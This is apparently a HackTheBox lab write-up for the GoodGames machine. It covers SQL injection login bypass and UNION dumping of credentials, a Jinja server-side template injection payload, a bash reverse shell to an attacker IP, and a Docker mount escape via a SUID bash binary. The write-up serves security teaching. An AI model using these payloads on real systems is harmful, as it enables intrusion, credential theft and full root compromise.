HTB: GoodGames
GoodGames has some basic web vulnerabilities. First there’s a SQL injection that allows for both a login bypass and union injection to dump data. The admin’s page shows a new virtualhost, which, after authing with creds from the database, has a server-side template injection vulnerability in the name in the profile, which allows for coded execution and a shell in a docker container. From that container, I’ll find the same password reused by a user on the host, and SSH to get access. On the host, I’ll abuse the home directory that’s mounted into the container and the way Linux does file permissions and ownership to get a shell as root on the host.
Box Info
Name | GoodGames Play on HackTheBox |
---|---|
Release Date | 21 Feb 2022 |
Retire Date | 21 Feb 2022 |
OS | Linux |
Base Points | Easy [20] |
N/A (non-competitive) | |
N/A (non-competitive) | |
Creator |
Recon
nmap
nmap
finds only one open TCP port, HTTP (80):
oxdf@hacky$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.11.130
Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-20 18:36 UTC
Nmap scan report for 10.10.11.130
Host is up (0.10s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 8.28 seconds
oxdf@hacky$ nmap -p 80 -sCV -oA scans/nmap-tcpscripts 10.10.11.130
Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-20 18:40 UTC
Nmap scan report for 10.10.11.130
Host is up (0.086s latency).
PORT STATE SERVICE VERSION
80/tcp open ssl/http Werkzeug/2.0.2 Python/3.9.2
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|_http-title: GoodGames | Community and Store
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.33 seconds
The version information doesn’t betray any hints as to what OS this might be.
Website - TCP 80
Site
The site is about video games:
Most the links on the page just point back to the page itself, but there are links to “Blog” (/blog
) and “Store” (/coming-soon
). In the footer there’s a reference to “GoodGames.HTB”:
I’ll add that to my hosts file, and try a wfuzz
brute force on additional subdomains, but it all seems to return the same site.
The “Blog” site looks similar, but none of the links actually go anywhere (not even to posts):
The Store link just has a coming soon message (that likely counted down to the boxes original release for the University CTF):
Putting in junk to the email box and clicking subscribe complains that it’s not a valid email:
Once I give it a valid email, the subscribe button just does nothing.
Tech Stack
nmap
identified the webserver as “Werkzeug/2.0.2 Python/3.9.2”. That’s from the HTTP response headers:
HTTP/1.1 200 OK
Date: Sun, 20 Feb 2022 19:21:27 GMT
Server: Werkzeug/2.0.2 Python/3.9.2
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Content-Length: 10524
Connection: close
It’s clear this site is running on Python 3.9.2, but not much else from there.
Directory Brute Force
I’ll run feroxbuster
against the site, with no extensions given the site is in Python:
oxdf@hacky$ feroxbuster -u http://goodgames.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.5.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://goodgames.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.5.0
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
WLD GET 267l 548w 9265c Got 200 for http://goodgames.htb/8ec386322be14334a15ff3153feb0541 (url length: 32)
WLD GET - - - Wildcard response is static; auto-filtering 9265 responses; toggle this behavior by using --dont-filter
WLD GET 267l 548w 9265c Got 200 for http://goodgames.htb/aa92f00415da4b20b8b4d582f0e26ae795d6f95f76574326861468d1615078bc74f0b3c5b6d540b2b43b456a138c7972 (url length: 96)
302 GET 4l 24w 208c http://goodgames.htb/logout => http://goodgames.htb/
200 GET 267l 553w 9294c http://goodgames.htb/login
200 GET 909l 2572w 44212c http://goodgames.htb/blog
200 GET 267l 545w 9267c http://goodgames.htb/profile
200 GET 728l 2070w 33387c http://goodgames.htb/signup
200 GET 730l 2069w 32744c http://goodgames.htb/forgot-password
403 GET 9l 28w 278c http://goodgames.htb/server-status
200 GET 287l 620w 10524c http://goodgames.htb/coming-soon
200 GET 267l 553w 9294c http://goodgames.htb/password-reset
[####################] - 1m 29999/29999 0s found:11 errors:2
[####################] - 1m 30001/29999 324/s http://goodgames.htb
There’s a few new paths in there having to do with account creation.
Creating Account
I actually missed it on initial enumeration, but there’s a little user icon at the top right of the page:
Clicking on it pops a sign-in box:
The “Sign up” link opens a new page, /signup
:
On creating an account, it then allows me to sign in. The first page shows success:
After five seconds, it redirects to /profile
(due to this HTML header, <meta http-equiv="refresh" content="5; url=/profile" />
):
The “Edit Details” form doesn’t seem to work, as whatever I put in returns HTTP 500, server error.
Shell as root in Container
SQL Injection
Get Request
Despite being able to log in, it’s worth checking the login form for SQL injection. The client-side JavaScript requires a valid email address to submit. But that doesn’t stop me from intercepting that request in Burp. I’ll right click and select “Send to Repeater”:
When I successfully log in, there’s a 200 response, with a cookie set, and the title “Login Success”:
Further down the page, it says “Welcome 0xdf”:
Bypass
I’ll try changing the user to a simple SQL injection, and it works:
It is worth noting that submitting email=' or 1=1-- -;
will not work. I think this is because of how Python handles MySQL queries, specifically from Real Python:
Note: In MySQL, it’s mandatory to put a semicolon (
;
) at the end of a statement, which denotes the termination of a query. However, MySQL Connector/Python automatically appends a semicolon at the end of your queries, so there’s no need to use it in your Python code.
I’ll intercept the login, replace the username with the SQL payload, and after five seconds, I’m redirected to /profile
for Admin:
Dump Data
On the page that shows before it redirects, it’s worth noting the welcome message:
Because my query selects all users, it seems to have just jammed them together. Because a column is being displayed back to me, I can likely UNION inject this to dump the full DB.
If I change the username in Burp Repeater to a union injection payload, I’ll guess at the number of fields until I find that four works. On submitting ' union select 1,2,3,4-- -
, it says “Welcome 4”:
I can get the current database, “main”:
There’s only two databases “main” and “information_schema”:
“main” has three tables:
“user” seems the most interesting. It has four columns:
There’s two users in the DB:
Crack Password
A quick Google for the hash for admin shows it breaks to the password “superadministrator”:
SSTI
Enumeration / Access
At the top right of the admin’s page, there’s an extra gear icon. It’s a link to http://internal-administration.goodgames.htb/login
. I’ll add that to my /etc/hosts
and the visit the page. It’s a login form:
The username “admin” with password “superadministrator” works to get in. The site presents a dashboard:
There’s a bunch of functionality on the site that doesn’t do anything. But profile page is interesting. I can update the admin’s name to whatever I want:
Tech Stack
The headers on this site are the same, still Python:
HTTP/1.1 200 OK
Date: Wed, 23 Feb 2022 12:01:51 GMT
Server: Werkzeug/2.0.2 Python/3.6.7
Content-Type: text/html; charset=utf-8
Vary: Cookie,Accept-Encoding
Set-Cookie: session=eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiYjJlZjM2ZmY1MmYyMTViYTE3MWExY2EwZDJhYWE3MjJkNDc4NmVkYyJ9.YhYiLw.SY2uUMb7cHAxWkDC_CqKdW3Td0s; HttpOnly; Path=/
Connection: close
Content-Length: 13603
POC
Given the webserver is Python, server-side template injection (SSTI) is a common flaw to look for. To check for SSTI, I’ll give the standard payload, {{ 7 * 7 }}
. The name updates to 49:
That’s an excellent sign that the site is vulnerable to SSTI.
Execution POC
Just like in the recently retired box Bolt, I can try a simple payload to see if I can get system execution via this SSTI:
{{ namespace.__init__.__globals__.os.popen('id').read() }}
On submitting that as the name, the result returns:
Not only is that execution, but as root!
Shell
I’ll use the same payload to get a reverse shell:
{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"').read() }}
On submitting, it hangs, but there’s a connection at nc
:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.130 45016
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend#
I’ll use the script
trick to get a better shell:
root@3a453ab39d3d:/backend# script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
root@3a453ab39d3d:/backend# ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
root@3a453ab39d3d:/backend#
There’s also a single user with user.txt
:
root@3a453ab39d3d:/home/augustus# cat user.txt
e897d18e************************
Shell as augustus on GoodGames
Enumeration
Container
It’s pretty clear that I’m in a Docker container. For one, I’m already root, but just found user.txt
. The ifconfig
shows an IP of 172.19.0.2 on eth0.
There’s a .dockerenv
file in the filesystem root:
root@3a453ab39d3d:~# ls -a /
. .dockerenv bin dev home lib64 mnt proc run srv tmp var
.. backend boot etc lib media opt root sbin sys usr
There are some more subtle things as well. The permissions on files in /home/augustus
are showing user ids instead of names:
root@3a453ab39d3d:/home/augustus# ls -la
total 24
drwxr-xr-x 2 1000 1000 4096 Dec 2 23:51 .
drwxr-xr-x 1 root root 4096 Nov 5 15:23 ..
lrwxrwxrwx 1 root root 9 Nov 3 10:16 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 Oct 19 11:16 .bash_logout
-rw-r--r-- 1 1000 1000 3526 Oct 19 11:16 .bashrc
-rw-r--r-- 1 1000 1000 807 Oct 19 11:16 .profile
-rw-r----- 1 root 1000 33 Feb 22 02:41 user.txt
There is no user augustus or user 1000 in /etc/passwd
:
root@3a453ab39d3d:~# cat /etc/passwd | grep 1000
root@3a453ab39d3d:~# cat /etc/passwd | grep augustus
That’s an indication that this home directory is mounted into the container from the host. mount
confirms that:
root@3a453ab39d3d:~# mount | grep augustus
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)
Network
A quick ping sweep of the class C shows only one other host:
root@3a453ab39d3d:~# for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
64 bytes from 172.19.0.1: icmp_seq=1 ttl=64 time=0.124 ms
64 bytes from 172.19.0.2: icmp_seq=1 ttl=64 time=0.087 ms
It’s a safe guess that .1 is the Docker host.
A quick port scan shows it’s listening on 22 and 80:
root@3a453ab39d3d:~# for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null
22 open
80 open
A quick curl
of 172.19.0.1
returns the website, which suggests that port is being forwarded back to this container through the host.
SSH
I’ll check for password reuse, and it works for augustus on the host:
root@3a453ab39d3d:~# ssh augustus@172.19.0.1
The authenticity of host '172.19.0.1 (172.19.0.1)' can't be established.
ECDSA key fingerprint is SHA256:AvB4qtTxSVcB0PuHwoPV42/LAJ9TlyPVbd7G6Igzmj0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.19.0.1' (ECDSA) to the list of known hosts.
augustus@172.19.0.1's password:
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
augustus@GoodGames:~$
Shell as root
Enumeration
Host
This shell does seem to be on GoodGames itself. The IP matches the machine’s IP:
augustus@GoodGames:~$ hostname -I
10.10.11.130 172.19.0.1 172.17.0.1 dead:beef::250:56ff:feb9:809b
Docker is in the process list, and it matches what I suspected from the container’s point of view:
augustus@GoodGames:~$ ps auxww | grep docker
root 908 0.0 2.1 1457176 86204 ? Ssl 02:40 0:09 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 1246 0.0 0.2 1222636 9616 ? Sl 02:40 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8085 -container-ip 172.19.0.2 -container-port 8085
Home Directory
Augustus’ home directory looks the same as what I saw in the container:
augustus@GoodGames:~$ ls -la
total 24
drwxr-xr-x 2 augustus augustus 4096 Dec 2 23:51 .
drwxr-xr-x 3 root root 4096 Oct 19 12:16 ..
lrwxrwxrwx 1 root root 9 Nov 3 10:16 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus 220 Oct 19 12:16 .bash_logout
-rw-r--r-- 1 augustus augustus 3526 Oct 19 12:16 .bashrc
-rw-r--r-- 1 augustus augustus 807 Oct 19 12:16 .profile
-rw-r----- 1 root augustus 33 Feb 22 02:41 user.txt
root@3a453ab39d3d:/home/augustus# ls -la
total 24
drwxr-xr-x 2 1000 1000 4096 Dec 2 23:51 .
drwxr-xr-x 1 root root 4096 Nov 5 15:23 ..
lrwxrwxrwx 1 root root 9 Nov 3 10:16 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 Oct 19 11:16 .bash_logout
-rw-r--r-- 1 1000 1000 3526 Oct 19 11:16 .bashrc
-rw-r--r-- 1 1000 1000 807 Oct 19 11:16 .profile
-rw-r----- 1 root 1000 33 Feb 22 02:41 user.txt
The file sizes and times are exactly the same (almost - I cannot explain why three of the files are off by an hour). If I create a file on the host:
augustus@GoodGames:~$ touch from_host
It shows up on the container:
root@3a453ab39d3d:/home/augustus# ls -l from_host
-rw-r--r-- 1 1000 1000 0 Feb 22 15:16 from_host
And it works the other way:
root@3a453ab39d3d:/home/augustus# touch from_container
augustus@GoodGames:~$ ls -l from_container
-rw-r--r-- 1 root root 0 Feb 22 15:16 from_container
Interestingly, the file created from the container is owned by root, and the host treats it as it’s root!
Shell
I’ll copy /bin/bash
into augustus’ home directory on the host. It’s important to use bash
from the host (I’ll cover why in Beyond Root).
augustus@GoodGames:~$ cp /bin/bash .
Then in the container, I’ll change the owner to root, and set the permissions to be SUID:
root@3a453ab39d3d:/home/augustus# ls -l bash
-rwxr-xr-x 1 1000 1000 1234376 Feb 22 15:25 bash
root@3a453ab39d3d:/home/augustus# chown root:root bash
root@3a453ab39d3d:/home/augustus# chmod 4777 bash
root@3a453ab39d3d:/home/augustus# ls -l bash
-rwsrwxrwx 1 root root 1234376 Feb 22 15:25 bash
Back on GoodGames, the changes are reflected:
augustus@GoodGames:~$ ls -l bash
-rwsrwxrwx 1 root root 1234376 Feb 22 15:25 bash
Running it (with -p
so that privileges aren’t dropped) returns a root shell:
augustus@GoodGames:~$ ./bash -p
bash-5.1#
And I can fetch the flag:
bash-5.1# cat /root/root.txt
820d1e82************************
Beyond Root
The first time I tried to escalate here, I copied the bash
binary from in the container into augustus’ home directory and made it SUID:
root@3a453ab39d3d:/home/augustus# cp /bin/bash .
root@3a453ab39d3d:/home/augustus# chmod 4777 bash
root@3a453ab39d3d:/home/augustus# ls -l bash
-rwsrwxrwx 1 root root 1099016 Feb 22 15:18 bash
It shows up the same way on GoodGames:
augustus@GoodGames:~$ ls -l bash
-rwsrwxrwx 1 root root 1099016 Feb 22 15:18 bash
But running it errors out:
augustus@GoodGames:~$ ./bash -p
./bash: error while loading shared libraries: libtinfo.so.5: cannot open shared object file: No such file or directory
Running ldd
shows how this binary loads libraries:
augustus@GoodGames:~$ ldd bash
linux-vdso.so.1 (0x00007ffc64194000)
libtinfo.so.5 => not found
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fa964fc8000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa964e03000)
/lib64/ld-linux-x86-64.so.2 (0x00007fa964fd7000)
It clearly shows that libtinfo.so.5
is not found. The standard bash
binary on the host is using libtinfo.so.6
:
augustus@GoodGames:~$ ldd /bin/bash
linux-vdso.so.1 (0x00007ffd31e97000)
libtinfo.so.6 => /lib/x86_64-linux-gnu/libtinfo.so.6 (0x00007f28239dd000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f28239d7000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2823812000)
/lib64/ld-linux-x86-64.so.2 (0x00007f2823b4e000)